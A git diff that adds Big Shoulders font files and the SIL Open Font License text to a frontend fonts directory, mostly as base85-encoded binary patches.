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 YCRuK?xB<sX?TqOvWql&cws=YY2aEZZX#fBK literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/BigShoulders-OFL.txt b/skills/frontend-dev/canvas-fonts/BigShoulders-OFL.txt new file mode 100644 index 0000000..b220280 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/BigShoulders-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/BigShoulders-Regular.ttf b/skills/frontend-dev/canvas-fonts/BigShoulders-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..de8308ce32f3d6759e491dcdce37f65f538d6ac7 GIT binary patch literal 94396 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 